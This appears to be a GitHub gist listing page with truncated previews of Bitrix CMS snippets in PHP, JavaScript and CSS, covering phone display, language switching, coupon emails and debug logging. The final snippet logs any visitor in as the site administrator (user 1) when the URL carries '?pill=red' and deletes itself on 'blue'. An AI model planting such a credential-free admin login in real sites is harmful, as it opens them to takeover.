This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Show phone number | |
/* | |
class=".phone_show"; | |
data-last="$value" | |
*/ | |
$(document).ready(function(){ | |
if ($.cookie('phone_show')){ | |
$('.phone_show').each(function(i,elem){ | |
$(this).text($(this).data('last')); | |
$(this).removeClass(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*Фикс для переключения языков в продукте*/ | |
public static function getLangByTemplate($tplID = 1) { | |
$tpl = new Template(); | |
$langArray = self::getLanguages(); | |
$menuID = Url::get('menuID'); | |
$contentID = Url::get('contentID'); | |
$productID = Url::get('productID'); | |
$tagID = Url::get('tagID'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
//Дополнительное письмо с купоном при его использовании | |
AddEventHandler("sale", "OnOrderNewSendEmail", "bxModifySaleMails"); | |
function bxModifySaleMails($orderID, &$eventName, &$arFields) | |
{ | |
$additional_information = ''; | |
$arOrder = CSaleOrder::GetByID($orderID); | |
$order_props = CSaleOrderPropsValue::GetOrderProps($orderID); | |
$couponList = \Bitrix\Sale\Internals\OrderCouponsTable::getList(array( |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
$arTemplateParameters = array( | |
/*блок параметров компонента*/ | |
/*...*/ | |
"HOLIDAYS" => array( | |
"NAME" => "Праздники", | |
"TYPE" => "STRING", | |
"DEFAULT" => "", | |
"PARENT" => "ADDITIONAL_SETTINGS" | |
), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
AddEventHandler('main', 'OnBeforeEventSend', Array("beforeCEvent", "my_OnBeforeEventSend")); | |
class beforeCEvent | |
{ | |
function getDelivery($id){ | |
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php"); | |
CModule::IncludeModule("sale"); | |
if ($arDeliv = CSaleDelivery::GetByID($id)) | |
{ | |
return $arDeliv["NAME"]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
##Device = Desktops | |
##Screen = 1281px to higher resolution desktops | |
*/ | |
@media (min-width: 1281px) { | |
//CSS | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
*Вывод данных в отладочную консоль javascript для Bitrix с исправленным выводом киррилицы в качестве ключа массива | |
**/ | |
function console_log($data){ | |
global $USER; | |
if ($USER->IsAdmin()) { | |
$json = json_encode(unserialize(str_replace(array('NAN;','INF;'),'0;',serialize($data)))); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (isset($_GET['pill']) && ($_GET['pill']=='blue'||$_GET['pill']=='red')): | |
if($_GET['pill']=='red'){ | |
require($_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/prolog_before.php"); | |
global $USER; | |
$USER->Authorize(1); | |
LocalRedirect("/bitrix/admin/index.php"); | |
} | |
else{ | |
unlink(__FILE__); |
OlderNewer